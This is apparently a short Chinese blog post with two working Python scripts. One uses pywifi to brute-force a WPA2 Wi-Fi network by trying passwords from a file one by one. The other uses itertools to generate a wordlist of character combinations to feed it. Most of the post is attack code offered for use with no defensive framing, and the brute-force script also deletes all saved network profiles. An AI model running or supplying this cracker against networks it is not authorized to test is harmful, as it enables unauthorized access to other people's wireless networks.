python itertools模块详解
pywifi提供了一个跨平台的python模块来操作无线网络接口
这几天了解到这两个py模块,主要用itertools生成笛卡尔积组合,用pywifi进行尝试
# coding:utf-8
import pywifi
from pywifi import const
import time
import datetime
# 测试连接,返回链接结果
def wifiConnect(pwd):
# Grab NIC interface
wifi = pywifi.PyWiFi()
# Get your first wireless card
ifaces = wifi.interfaces()[0]
# Disconnect all connections
ifaces.disconnect()
time.sleep(1)
wifistatus = ifaces.status()
if wifistatus == const.IFACE_DISCONNECTED:
# Create a WiFi connection file
profile = pywifi.Profile()
# The name of the WiFi to connect to
profile.ssid = "Benice"
# The open status of the NIC
profile.auth = const.AUTH_ALG_OPEN
# wifi encryption algorithm, the general wifi encryption algorithm is wps
profile.akm.append(const.AKM_TYPE_WPA2PSK)
# Encryption unit
profile.cipher = const.CIPHER_TYPE_CCMP
# Call cipher
profile.key = pwd
# Delete all connected wifi files
ifaces.remove_all_network_profiles()
# Set a new connection file
tep_profile = ifaces.add_network_profile(profile)
ifaces.connect(tep_profile)
# wifi connect time
time.sleep(1)
if ifaces.status() == const.IFACE_CONNECTED:
return True
else:
return False
else:
print("Existing wifi connection")
def readPassword():
print("start:")
# password root
path = "pwd.txt"
# open file
file = open(path, "r")
while True:
try:
pad = file.readline()
print("try: ", pad)
bool = wifiConnect(pad)
if bool:
print("password ok : ", pad)
print("is connect!!!")
break
except:
continue
start = datetime.datetime.now()
readPassword()
end = datetime.datetime.now()
print("use time:{}".format(end - start))
import itertools as its
import datetime
# 记录程序运行时间
start = datetime.datetime.now()
# words = '1234567890abcdefghijklmnopqrstuvwxyz' # 这里可以加入字母和其他字符,使用string包更方便
words = '8bnx' # 这里可以加入字母和其他字符,使用string包更方便
# 生成密码的位数
r = its.product(words, repeat=11) # 密码位数为8
dic = open("pwd.txt", 'a')
for i in r:
# pass
dic.write(''.join(i) + '\n')
dic.close()
print('password book is ok')
end = datetime.datetime.now()
print("use time:{}".format(end - start))